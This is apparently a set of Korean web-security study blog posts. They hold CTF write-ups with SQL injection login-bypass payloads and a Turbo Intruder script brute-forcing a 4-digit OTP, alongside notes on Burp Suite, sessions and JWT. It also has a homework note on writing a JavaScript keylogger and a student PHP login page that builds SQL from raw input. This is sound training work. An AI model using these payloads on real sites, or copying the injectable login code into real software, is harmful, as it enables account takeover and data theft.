320x100

문제

 

첫번째 시도 (UNION)

Login Bypass3과 동일하게 입력하였더니 302 Redirection이 나옴

 

하지만 로그인 시도시 실패,

 

두번째 시도 (UPDATE) - 업데이트 문을 사용하여 비밀번호를 1234로 변경해보기

SELECT * FROM users WHERE id='normaltic4'; UPDATE users SET password='1234' WHERE id='normaltic4'--' AND password='asdfasdfasf'

 

업데이트를 사용하여 비밀번호를 덮어보려했지만 실패

 

 

세번째 시도 (LIKE) - 비밀번호를 직접 찾아보자

like문으로 %_% 찾는데, a-z / 0-9까지 한글자라도 있는지 보았다.

근데 그 응답코드가 200으로 왔다. 한글자라도 있으면 302가 올텐데 생각했다.

→ 평문의 알파벳과 숫자로 like를 이용해 검색을 했는데, 무슨 처리가 되었지 않을까라는 의심 → 해시

아이디: ' union select 'doldol', md5('dol1234')--

비밀번호: dol1234

 

 

302 Found Redirect 코드가 나왔다.

' union select 'normaltic4', md5('dol1234')-- (주석처리 다음에는 무조건 “스페이스 하나” 붙여줘야함)

 

 

300x250

'Information Technology > write-up' 카테고리의 다른 글

SQL Injection 1 - order by, like, union  (0) 2025.05.28
Can you crack me? - base64, alternative  (0) 2025.05.28
Login Bypass5 - Cookies  (0) 2025.05.28
Login Bypass 3 - Order by  (0) 2025.05.28
Pin Code Crack - Intruder  (0) 2025.05.28
320x100

문제

 

주어진 계정으로 로그인하였고, Request 값을 살펴본다.

 

 

SQL Injection 공격을 위해 해당 Request proxy를 repeater로 보낸다.

기초적인 SQL 인젝션 공격은 들어가지 않는 것을 확인하였다.

SQL UNION 기법을 사용해본다.

  • SQL UNION 기법 : 여러 개의 SELECT 결과를 하나로 합치는 것

ex)

SELECT name FROM users UNION SELECT title FROM posts;

→ users 테이블의 name 칼럼과 posts 테이블의 title 칼럼을 하나의 결과로 병합해주는 쿼리이다.

 

SQL UNION 을 사용하기 위한 선제조건이 있는데,

→ 두 SELECT 절의 칼럼 개수와 데이터 타입이 일치해야 한다는 것입니다. 그래야 두 테이블의 데이터를 문제없이 하나로 합칠 수 있습니다.

그래서 컬럼수가 일치해야 유니언을 사용할 수 있다.

 

 

칼럼수를 확인 하는 방법은 다음과 같다. order by

→ 제공된 계정 doldol을 활용하여, 비밀번호는 그대로 두고 아이디에 order by를 사용하여 컬럼수가 몇개인지 확인해본다.

 

 

 

 

 

order by 3 에서 error코드인 200 OK가 나왔다.

즉, 컬럼수는 2개이다.

→ 아이디 컬럼, 비밀번호 컬럼 (이렇게 두개라는 것을 간접적으로 알 수 있다)

where id = ‘’ and pw=‘’ (이와 같이 가정을 해본다)

UNION을 기준으로 {2개의 열(아이디,비밀번호)를 가진 DB를 합치는 작업}

  • 첫번째 select 는 빈칸
  • 두번째 select에서는 접속하고자 하는 아이디 normaltic3 와 임의의 랜덤 비밀번호 dol1234를 만들어서 삽입을 한다.

where id = ‘' union select 'normaltic3' , 'dol1234' -- ’ and pw=‘

아이디: ' union select 'normaltic3' , 'dol1234' --

비밀번호 : dol1234 (위에서 만든 임의의 비밀번호와 일치해야함)

 

 

 

* UNION SELECT로 여러 행을 만들어보고, 정렬 순서를 바꿨을 때 로그인되는 계정이 바뀐다면 → 서버는 첫 번째 행만 사용하고 있다.

300x250
320x100

 

 

숫자 4자리를 입력값을 통해 접속이 가능하다는 것을 확인 할 수 있다.

 

랜덤의 숫자를 입력하고 burp suite으로 proxy Intercept

 

 

otpNum 에 brute force 공격을 하면 접속이 가능할 것 같다.

brute force 대입 공격을 할 특정값을 드래그 한 상태로 오른쪽 클릭

→ Send to turbo intruder

  • turbo intruder를 사용하기 위해서는 extension을 설치해야함

 

def queueRequests(target, wordlists):    #기본값
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1, #속도
                           requestsPerConnection=100, #속도
                           pipeline=True) #속도
    engine.start() #엔진시작

    for i in range(1, 10000): #범위 설정
        otp = '{:04d}'.format(i) # 0000 네자리 숫자 입력가능하게 포멧 설정 ex 0001,0002

        req = """GET /6/checkOTP.php?otpNum={} HTTP/1.1 
Host: ctf.segfaulthub.com:1129
Accept-Language: en-GB,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=0q8q7ovkkdq5d08due38a0emma
Connection: keep-alive

""".format(otp) 

        engine.queue(req)

def handleResponse(req, interesting):
    otp = req.request.split('otpNum=')[1].split(' ')[0]
    print('[*] OTP: {}'.format(otp))
    print('[*] Status:', req.status)
    print('[*] Preview:', req.response[:100])
    table.add(req)

 

brute force attack 실행화면

(이 화면에서 status가 redirection 인 것을 찾으려고 했지만, 모두 200 OK 만 나와서 헷갈렸다)

 

 

공격이 정상적으로 돌아간 것을 확인 한 이후

다시 burp suite 으로 돌아가서 forward 를 누른다.

 

 

그러면 아래와 같이 Flag 획득 가능

 

300x250
320x100

 

<인증 우회> - 로그인 우회

인증 : 내가 나라는 것이 맞다라는 것을 증명하는 것

  • 로그인인증, 핸드폰인증, 핀번호 인증

버프수트 → 웹 프록시 툴

Web : 정적리소스를 전달

WAS : 동적리소스를 전달

DB : 데이터를 보관

 

Client - Web - WAS - DB

* WAS 속에 SQL 언어를 넣어놔야 DB와 이야기를 한다

 

Web Browser

Front End(클라이언트 단)

HTML, CSS, Javascript(script 안에서 실행하는 자바)

Back end (서버 단)

ASP, JSP, PHP, Python, Javascript

 

쿠키 : 데이터에 넣어서 웹서버에 보내고, 클라이언트가 누구인지 인식하게 만든다 (포스트잇 역할)

→ 웹서버가 내가 어드민 이라고 보내면, 관리자로 인식하고 관련 정보를 전달하는 문제 발생

→ 그래서 나온 것이 “세션”

 

세션: 세션 정보를 서버에 저장을 하는데 식별을 위하여 만든 것은 세션ID 이다.

 

로그인 인증

ID 식별

  • 특징: 중복되는 데이터가 없어야 한다. → 아이디를 기준으로 정보를 찾는 것
  • $sql = select password from member where id = ‘normaltic’ —> 비밀번호 출력
  • $db_pass = sqlExecute($sql);
  • if($db_pass == $user_input) {로그인 성공 } else { 로그인실패}
  • $sql = select password from member where id = ‘normaltic’ and password=’$user_input’ —> 아이디와 비밀번호가 같으면 로그인이 되는 형태

SQL Injection → SQL 문법을 비정상적으로 삽입하여 공격

정상: select * from member where id = ‘normaltic’

비정상 : select * from member where id = ‘normaltic’’

웹서버는 SQL구문을 미리 준비하고 있다.

 

→ select * from member where id = ‘____’

normaltic ‘ and ‘1’=’1 을 넣으면?

1=1 은 항상 true 이기 때문에 통과된다.

 

 

 

normaltic’ #

#은 SQL 언어에서 주석

→ 코드 안에 주석을 넣으면 이것은 코드가 아니다. 라고 표시 # 뒤에 있는 내용은 무시가 됨

 

 

 

 

 

리피터 활용

응답코드가 300 으로 나오면 rediect 이기에 location 이 있음

 

DB 데이터를 가져오는 문법을 생각해야함

파라미터만 보고 아래와 같이 SQL 구문을 활용해서 응답이 오겠구나! 라고 생각을 할 줄 알아야 한다.

 

select from member where id=’____’

SQL 인젝션이 일어나는지 확인이 필요하다.

doldol’ and ‘1’=’1

 

정상적인 아이디와 비밀번호에 테스트 → doldol’ and ‘1’=’1 를 했는데 로그인이 정상적으로 들어간다?

그럼 and 뒤에 부분이 무시가 된 것 = 즉, sql injection 이 일어난다.

 

 

가정을 하고 SQL Injection 을 진행 해본다.

  1. 식별 인증 동시
    1. select from member where id=’’ and pass=’

정상적인 아이디와 비밀번호를 입력하면 302 코드가 나오는 것을 확인

즉, redirect 되고 있다는 것,

현 상황에서 SQL Injection을 활용해야함

 

 

 

 

식별 인증 동시 로그인 로직이라고 가정

select from member where id=’’ and pass=’

→ normaltic1' or '1'='1

select * from member where id=’normaltic1' or '1'='1’ and pass=’random

 

 

 

인증 우회 종류

  • Brute Force : 무작위 대입 공격
  • 사전 대입 공격 : 쓸만한 비밀번호를 다 입력해본다.
  • Jump

파일 이름을 보고 다음 파일이름을 유추해서 넘어가기

A - B - C

  1. 약관 동의
  2. 본인인증
  3. 아이디, 비밀번호 … 입력

 

5주차 과제

  1. 오늘 수업 복습
  2. 인증 우회 실습 문제 풀기

만든 로그인 페이지에서 테스트를 하고 → 풀어보고

풀었으면 write up 문제풀이 작성 (왜 여기에 넣었는지)

  1. 웹 개발

로그인 페이지, 회원가입 페이지 만들어오기

게시판 만들기 (로그인하고 사용하는 게시판)

로그인 페이지를 우회하는건 직접 만들고 실험하면서 풀면 도움이 더 될 것이다.

키로거 …

300x250
320x100

쿠키 / 세션 / 세션ID

쿠키 : 웹 서버로 요청을 보낼 때 붙이는 포스트잇 (데이터쪼가리)

세션 : 서버에 저장되는 연결정보

세션ID : 세션이 누구꺼인지 식별하는 것

Proxy

Proxy는 사용자의 요청(request)을 받아 대신 인터넷이나 다른 서버에 전달하고, 그 응답(response)을 다시 사용자에게 반환하는 중개 서버입니다.

즉, 클라이언트(사용자)와 서버(목적지) 사이에 위치하여 트래픽을 대신 처리하는 역할을 합니다.

 

Burp suite 가이드

→ Web Proxy Tool

웹 서버로 오고 가는 요청(패킷)을 대신 전달해주는 친구

 

 

 

proxy listener

 

 

Loopback only : 내 컴퓨터에서만 버트수트를 사용할 수 있게 하는 것 (LOCAL 환경 구성)

 

All interface : 다른 컴퓨터에서 우리 컴퓨터로 연결하기 위함 (외부 컴퓨터에서도 버프스윗을 사용할 수 있다)

 

1. 우리 컴퓨터에서 버프스윗을 실행하고,

2. 다른 컴퓨터가 오는 프록시를 전달해서

3. 우리 컴퓨터에서 버프스윗을 실행하고 전달 한다

→ 모바일 앱 해킹 시 필요

 

 

버프스윗은 리스너라는 걸 열어둬야하고 → 리스너로 데이터를 보내는 것이다.

리스너로 데이터를 넣어야, 보내주고 응답받고 전달을 해준다 (프록시의 핵심)

어떻게 열어야 하는가?

 

 

 

이 후 브라우저 setting 에서 프록시를 수동설정하여 위와 일치 시킨다

원래는 브라우저 → 구글 서버 이렇게 보내야 하는데

설정을 통해 브라우저 → 프록시 → 구글 서버 이렇게 접속하는 걸로 바꾼 것

 

 

웹 프록시 툴을 사용하는 이유

중간에 거치게 만들음으로써 실제 우리가 사용하는 브라우저가 웹서버와 데이터를 주고 받을 때 어떤 패킷을 주고 받는지, 직접 하나 하나 다 볼 수 있다. (요청값, 응답값)

→ 중간에서 전달하기 때문에, 중간에서 데이터를 고칠 수도 있다.

 

모바일 앱 해킹 시,

내 핸드폰에 내가 해킹 할 앱을 설치

이 앱이 통신을 할 때 어떤 요청과 응답을 받는지 궁금한 상황

이것을 proxy를 이용하여 볼 수 있다.

내 핸드폰에서 → proxy 설정을 할 수 있다


다른 방법

Intercept → open browser 를 클릭하면 프록시 설정을 안해도 됨 (자동으로 세팅 되어 있는 브라우저가 켜진다)


특정에만 자동으로 잡게

  • request intercepting rules
  • response intercepting rules
  • match and replace rules
  • HTTP history
    • burp 를 통과한 요청들이 쌓이는 곳

예를들어, 로그인과정을 분석하고 싶으면 정상적으로 로그인을 해보고

history를 하나하나 뜯어서 분석을 해보는 것

repeater 같은 요청을 여러번 보내고 싶을 떄 사용하는 것

 

 

리피터로 패킷이 넘어오면 여기서 send 를 누르면 데이터가 여러면 보내진다.

 

 

  • decoder

직접 인코딩 또는 디코딩을 할 수 있다.

 

  • comparer

엄청 긴 글자가 있어서 무언가 미세하게 달라진 것 같은데 어디가 달라진지 모를때

복사해서 붙여넣어서 비교를 할 수 있다.

words , bytes 로 비교 가능하다

sync views를 통해서 어디가 달라졌는지를 확인할 수 있다.

  • Request

GET / 경로 / 프로토콜

헤더 : Host, Cache-Control, Accept, Cookie …

  • Response

프로토콜 / 상태코드

상태코드

  • 200 : OK
  • 300 : Redirect (위치를 알려주는 코드) → Location 이라는 헤더가 같이 응답된다.
  • 400 : Client error → 이용자 너가 잘못한거임 이라는 뜻

404 not found : 우리가 없는 자료를 요청했을 때 서버가 보내주는 것

  • 500 : Server Error 웹 개발할 때
  • 응답 헤더와 바디 사이는 띄어쓰기 한줄이 들어가야한다.

User-Agent 어떤 브라우저로 접속을 했는가를 알려줄때 사용

%3D → “ = “ (많이 보면 안다고함)

로그인을 하고 나서 들어가는 페이지를 만들 것임

 

 

*게시판 구현

  • 게시판 글 작성 : insert (회원가입에서 사용함)
  • 게시판 글 리스트 보기 : 지금 이 게시판에 어떤 게시글들이 있는지 보기 select → DB 데이터를 가져와서
  • 게시판 글 내용 읽기 : select
  • 게시판 글 수정: update : 마이페이지에서 정보 수정하는 기능 만든 것 처럼 하면 된다고 함
  • 게시판 글 삭제 : delete

** 게시판 페이징 기능

게시판 글이 100개 있다고 해서 100개가 전부 보이지는 않는다

한 10개 정도 나오고, 페이지를 1번, 2번, 3번 페이지로 이동하는 것

select * from board limit 0, 10 기능을 통해서 구현 가능

limit [index], [count]

즉 0번부터 10개를 가져온다는 말

**게시글 검색 기능

게시글 제목을 검색

select * from board

where title = ‘test’

이거는 게시판 제목에 정확히 test 여야 출력이 가능함

select * from board

where title = like ‘%test%’

% 문법을 앞 뒤로 넣으면

test 라는 글자가 앞뒤로 들어간 모든 글을 가져올 수 있다.

** 게시글 정렬 기능

제목 가나다 순으로 정렬 하고 싶을 때, 작성자 별로 정렬, 조회수 별로 정렬, 날짜별로 정렬

select * from board

order by 라는 구문을 통해서 정렬을 할 수 있다.

order by [column 이름] [asc/desc]

오름차순, 내림차순

 


limit 은 mysql 에서 사용가능하고 oracle 에서는 사용하지 못한다

과제

[1] 오늘 수업 복습

  • burp suite : CTF 문제 풀어보며 복습

[2] Javascript

  • 문법 (수업 노트) 적혀져 있는 것만 공부
  • Javascript.pdf
  • 쿠키 탈취 코드 vs 키로거 둘 중 하나 만들어보기
  • 자바스크립트 키로거 만들기
    • 로그인 페이지를 간단하게 만들고 아이디랑 비밀번호 쓸 때 키보드 입력창을 공격자 서버로 보내주는 것

[3] 게시판 구현

 

300x250
320x100

SQL 연산의 우선순위

우선순위 연산자 설명
1 () 괄호 (가장 우선, 내부부터 먼저 계산)
2 +, -, ~ 단항 연산자 (예: -5, +x)
3 *, /, % 곱셈, 나눗셈, 나머지
4 +, - 덧셈, 뺄셈
5 =, >, <, >=, <=, <>, !=, IS, LIKE, BETWEEN, IN 비교 연산자
6 NOT 논리 NOT
7 AND 논리 AND
8 OR 논리 OR

 

SQL에서는 **문자열(string)**을 비교할 때는 항상 '작은 따옴표(single quotes)'로 감싸줘야한다.

 

SELECT * FROM board WHERE authr = '$author' AND [조건]

 

 

로그인 로직

(1) 식별 / 인증 동시

(2) 식별 / 인증 분리

(3) 식별 / 인증 동시 + 해시

(4) 식별 / 인증 분리 + 해시

 


암호화 (Encryption)

  • 목적: 데이터를 보호하기 위해 읽을 수 없는 형태로 변환
  • 특징:
    • 암호화된 데이터를 다시 원래대로 복호화할 수 있음
    • 복호화하려면 KEY(열쇠) 가 필요함
  • 예시: AES, RSA, DES 등
  • 사용처: 로그인 정보 보호, HTTPS 통신 등
  • “암호화 → 복호화 가능 (KEY 필요)”

인코딩 (Encoding)

  • 목적: 데이터를 다른 시스템이나 네트워크에서도 안정적으로 전송하기 위해 변환
  • 특징:
    • 본질적으로 보안 목적은 아님
    • 누구나 규칙만 알면 디코딩(원상복원) 가능
  • 예시: Base64, URL Encoding, UTF-8 등
  • 사용처: 이메일 전송, 웹에서 특수문자 처리, 파일 저장 등
  • “인코딩 → 디코딩 가능 (공개된 규칙)”

해시 (Hash)

  • 목적: 입력값에 대한 고정된 길이의 고유 값 생성
  • 특징:
    • 복호화 불가능 (한 번 해시하면 되돌릴 수 없음)
    • 같은 입력 → 항상 같은 해시값
    • 입력이 조금만 달라도 완전히 다른 값이 나옴
  • 예시: SHA-256, MD5, bcrypt 등
  • 사용처: 비밀번호 저장, 무결성 검사, 디지털 서명 등
  • “해시 → 복호화 불가 (단방향 변환)”

🔐 로그인 유지 방법 (쿠키 VS 세션)

✅ 1. 쿠키 (Cookie)

  • 클라이언트(브라우저)에 저장되는 작은 데이터 조각
  • 사용자가 로그인하면, 로그인 정보를 쿠키에 저장할 수 있음
  • 다음 요청 시 브라우저가 쿠키를 자동으로 서버에 전송함

 단점:

  • 클라이언트 쪽에 저장됨 → 쉽게 조작 가능
  • (ex: 쿠키 값을 바꿔서 다른 사람처럼 가장할 수 있음)
  • 쿠키가 유출되면 해커가 그대로 로그인 상태를 훔쳐갈 수 있음 (XSS, 탈취 등)

 

✅ 2. 세션 (Session)

  • 서버에 저장되는 로그인 정보
  • 사용자는 브라우저에 세션 ID(식별자) 만 가지고 있음 (보통 쿠키에 담김)
  • 서버는 이 ID로 사용자의 정보를 찾아냄

장점:

  • 민감한 정보는 서버에만 저장되기 때문에 보안이 더 좋음
  • 클라이언트가 세션 ID만 가지고 있어도, 서버가 로그인 상태를 유지해줌

예시 흐름:

  1. 로그인 성공 → 서버에서 세션 생성 + 세션 ID 부여
  2. 클라이언트는 그 ID를 쿠키로 저장 (Set-Cookie: PHPSESSID=xyz)
  3. 이후 요청마다 자동으로 서버에 세션 ID가 전달됨
  4. 서버는 해당 ID로 사용자 정보 확인 후 로그인 유지

 

✅ 1. 세션 ID를 노멀하게 저장

✅ 2. 세션이 저장되어 있는 위치 (서버 쪽)

/var/lib/php/sessions/

✅ 3. 세션을 직접 보면 → 서버에 저장된 것이라는 걸 알 수 있다

 


JWT (JSON Web Token)

 

웹에서 사용자 인증과 정보 전달을 위해 사용되는 토큰 기반 인증 방식

사용자 인증 정보를 안전하게 주고받기 위한 디지털 토큰

 

 

🔐 JWT의 구조

JWT는 크게 3부분으로 나뉘어 있다

 

Header.Payload.Signature

 

 

  1. Header (헤더)
    • 어떤 알고리즘으로 서명했는지 등의 정보가 담김
    • 예: {"alg": "HS256", "typ": "JWT"}
  2. Payload (페이로드)
    • 실제로 전달할 정보(예: 사용자 ID, 권한 등)가 담김
    • 민감한 정보는 넣으면 안 됨 (암호화되지 않음)
  3. Signature (서명)
    • 위 두 부분을 비밀키로 서명해서 위변조 여부를 확인할 수 있게 함
    • 서버가 이걸 보고 “이 토큰이 진짜인가?” 판단함

 

🔄 JWT는 어떻게 쓰여?

  1. 사용자가 로그인하면 서버가 JWT를 생성해서 사용자에게 전달
  2. 사용자는 이후 요청마다 JWT를 함께 보냄 (보통 Authorization: Bearer <token> 헤더에)
  3. 서버는 그 JWT를 검증해서 사용자가 누구인지 파악함

 

✅ JWT의 장점

  • 서버가 세션을 따로 저장하지 않아도 됨무상태(stateless)
  • 여러 서비스 간(마이크로서비스 등) 토큰 하나로 인증 공유 가능
  • 구조가 단순하고, 사용하기 쉬움

 

⚠️ JWT 쓸 때 주의할 점

  • Payload는 암호화가 안 됨, 민감 정보는 넣지 마!
  • 토큰이 탈취되면 위험 → HTTPS는 필수
  • 만료 시간 설정은 꼭 하자 (유효기간 없이 무한 사용은 위험)

 

JWT 예제 코드 (Python + PyJWT 라이브러리)

import jwt
import datetime

# 비밀 키 (서명에 사용됨)
SECRET_KEY = "mysecret"

# 1. JWT 생성하기
payload = {
    "user_id": 123,
    "role": "admin",
    "exp": datetime.datetime.utcnow() + datetime.timedelta(hours=1)  # 만료시간
}

token = jwt.encode(payload, SECRET_KEY, algorithm="HS256")
print("JWT Token:", token)

# 2. JWT 검증하기
try:
    decoded = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
    print("Decoded Payload:", decoded)
except jwt.ExpiredSignatureError:
    print("토큰이 만료됐습니다.")
except jwt.InvalidTokenError:
    print("유효하지 않은 토큰입니다.")

 

이 코드는 JWT를 만들고, 다시 해석(검증)하는 전체 흐름을 보여줘. PyJWT는 Python에서 자주 쓰이는 JWT 라이브러리이다.

 

 

🕒 "exp": datetime.datetime.utcnow() + datetime.timedelta(hours=1)

이건 JWT의 만료 시간(exp) 을 설정하는 코드

  • exp는 **“expiration”**의 줄임말로, 이 토큰이 언제까지 유효한지를 의미해.
  • JWT는 exp 값을 넣으면, 서버가 자동으로 이 시간이 지나면 토큰을 거부하게 돼.

코드 분석

  • datetime 모듈 안에는 또 datetime이라는 클래스가 있다.
  • utcnow()는 현재 시각을 UTC 기준(협정 세계시) 으로 가져오는 함수

timedelta

  • time delta”**의 축약형이야. 여기서 **delta(델타)**는 수학/과학에서 자주 쓰는 단어인데, 의미는 “차이, 변화량

🔐 algorithms=["HS256"]

 HS256은 대칭키 방식 (secret key 하나), RS256은 비대칭키 방식 (public/private key

 


더보기

3주차 과제

  1. 오늘 수업 복습
  • 로그인 로직 이해 (식별/인증)
  1. 지난 과제 ( 특별과제 제외)
  2. 로그인 페이지 만들기 (로직 4개)
  • 식별/인증 동시
  • 식별/인증 분리
  • 식별/인증 동시 + 해시
  • 식별/인증 분리 + 해시

로그인1 / 2 / 3 / 4 네가지 개발

  1. 추가과제
  • jwt 찾아보기
  • jwt 토큰 직접 구현해보기, 로그인 만들어보기

 

 

로그인 페이지 구현 (4가지)

login.php

 

핵심 ///   name="login_type" value="식별/인증 동시"

  • name 을 login_type 으로 통일시켰고, value 를 통해 실행 구분
  • login_prcc.php 
    • name = $type 으로 연결
    • value == case 으로 연결 
<!DOCTYPE html>
<html lang="ko">
<head>
        <meta charset="UTF-8">
        <title>Login Page</title>

        <style>
          body {
                display: flex; /* 내부 요소를 정렬할 수 있게 함(기본 정렬 방식 대신 유연한 배치가 가능해짐) */
                justify-content: center; /* 가로 방향 가운데 정렬*/
                align-items: center; /* 세로 방향 가운데 정렬*/
                height: 100vh; /* 화면 전체 높이        
                                100vh는 화면 높이의 100%를 의미함 → 페이지 전체를 꽉 채워서 가운데 배치 가능 */
                margin: 0; /*기본 브라우저 여백을 없애서 딱 맞게 배치*/
                background-color: #f0f2f5;
                }

          .container {
                text-align: center;
                padding: 40px; /*박스 안쪽 여백을 40픽셀로 설정해서 넉넉한 공간 확보*/
                border-radius: 12px; /* 박스 모서리를 둥글게*/

                     }

         img {
                width: 500px; /*이미지 가로 너비를 500픽셀로 고정한다*/
                border-radius: 12px; /* 이미지 모서리를 둥글게*/
                margin-bottom: 20px; /* 이미지 아래쪽 공간에 20px 추가해서 폼 사이의 여백 추가*/
             }
        </style>
</head>


<body>
        <div class="container">
                <!-- src 이미지를 가져오는데 만약 못불러올 경우 alt 내용을 출력하고 사진의 크기는 500으로 가져와라 -->
          <img src="search.pstatic.jpeg" alt="Login Banner" width="500" />

          <form method="POST" action="login_prcc.php">
                <!-- 서버에서 name 또는 value 이름으로 값을 받을 수 있음, placeholder는 입력창에 흐리게 표시되는 글자 역할-->
                <input type="text" name="id" placeholder="User ID" />
                <input type="password" name="password" placeholder="User Password" />
                <input type="submit" value="Login" />
                <input type="submit" name="login_type" value="식별/인증 동시" style="padding: 20px;"/>
                <input type="submit" name="login_type" value="식별/인증 분리" style="padding: 20px;"/>
                <input type="submit" name="login_type" value="식별/인증 동시 + 해시" style="padding: 20px;"/>
                <input type="submit" name="login_type" value="식별/인증 분리 + 해시" style="padding: 20px;"/>
          </form>

          <form method="POST" action="register.php" style="padding-top: 20px;">
                <input type="submit" value="회원가입" />
          </form>

        </div>
</body>
</html>
~                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         
~

 

 

login_prcc.php

 

$_SERVER["REQUEST_METHOD"]

$_SERVER는 PHP에서 제공하는 슈퍼 글로벌 변수 중 하나예요.

→ 이건 서버와 클라이언트(브라우저) 사이에 오가는 요청 정보, 환경 정보, 헤더 정보 등을 담고 있는 연관 배열이에요.

<?php
session_start();

// DB 연결
$conn = new mysqli("localhost:3306", "choyongyeop", "1234", "test");
if ($conn->connect_error) {
    die("DB 연결 실패: " . $conn->connect_error);
}

 // POST 방식으로 전송된 요청일 때만 실행됨
if ($_SERVER["REQUEST_METHOD"] === "POST" && isset($_POST['login_type'])) {
    $type = $_POST["login_type"];

    switch ($type) {
     case "식별/인증 동시":
             if(isset($_POST['id']) && isset($_POST['password'])) {
               $id = $_POST['id'];
               $pw = $_POST['password'];

               $sql = "SELECT * from users where id = '$id' AND password = '$pw' ";
               $result = $conn->query($sql);

               if ($result && $result->num_rows>0) {
                               $_SESSION['id'] = $id;
                               header("Location: login_succ.php");
                               exit;
               }
              header("Location: login_fail.php");
              exit;
               }
             break;

   case "식별/인증 분리":
    if (isset($_POST['id']) && isset($_POST['password'])) {
        $id = $_POST['id'];
        $pw = $_POST['password'];

        // 1단계: ID가 존재하는지 확인
        $sql = "SELECT * FROM users WHERE id = '$id'";
        $result = $conn->query($sql);

        if ($result && $result->num_rows > 0) {
            $user = $result->fetch_assoc();

            // 2단계: PW가 같은지 확인 (해시 사용 안 하는 버전)
            if ($user['password'] === $pw) {
                $_SESSION['id'] = $id;

                header("Location: login_succ.php");
                exit;
            }
        }
              header("Location: login_fail.php");
              exit;
        }
        break;

     case "식별/인증 동시 + 해시":
             if(isset($_POST['id']) && isset($_POST['password'])) {
               $id = $_POST['id'];
               $pw = $_POST['password'];

               $sql = "SELECT * from users where id = '$id' ";
               $result = $conn->query($sql);

               if ($result && $result->num_rows>0) {
                       $user = $result->fetch_assoc();

                       if (password_verify($pw, $user['password'])) {
                               $_SESSION['id'] = $id;

                               header("Location: login_succ.php");
                               exit;
                       }
               }
              header("Location: login_fail.php");
              exit;
             }
             break;

     case "식별/인증 분리 + 해시" :
             if(isset($_POST['id']) && isset($_POST['password'])) {
               $id = $_POST['id'];
               $pw = $_POST['password'];

               $sql = "SELECT * from users where id = '$id'";
               $result = $conn->query($sql);

               if ($result && $result->num_rows>0) {
                       $user = $result->fetch_assoc();

                       if (password_verify($pw, $user['password'])) {
                               $_SESSION['id'] = $id;

                               header("Location: login_succ.php");
                                  exit;
                      }
                }
              header("Location: login_fail.php");
              exit;
              }
              break;

     default :
             echo "알 수 없는 로그인 방식입니다.";
        }
}


// 폼이 제출되었을 때만 처리
// 사용자의 id 값과 password 값이 존재할 경우, 전달된 값을 id와pw에 변수에 저장한다.
if (isset($_POST['id']) && isset($_POST['password'])) {
    $id = $_POST['id'];
    $pw = $_POST['password'];

    // DB에서 해당 ID의 사용자 정보 조회
    $sql = "SELECT * FROM users WHERE id = '$id'";
    $result = $conn->query($sql); // 위에서 만든 sql쿼리를 실제로 mysql에 실행하는 부분

    if ($result->num_rows > 0) {  // 사용자가 입력한 아이디가 DB에 존재하면 실행
        $user = $result->fetch_assoc(); // DB 결과를 배열로 가져오기

        // 비밀번호 확인
      if (password_verify($pw, $user['password'])) {
            $_SESSION['id'] = $id;  // 세션 저장
            header("Location: login_succ.php");  // 로그인 성공
            exit;
        } else {
            header("Location: login_fail.php");  // 비밀번호 틀림
            exit;
        }
    }
}

?>

~

 

 

결과화면

300x250

+ Recent posts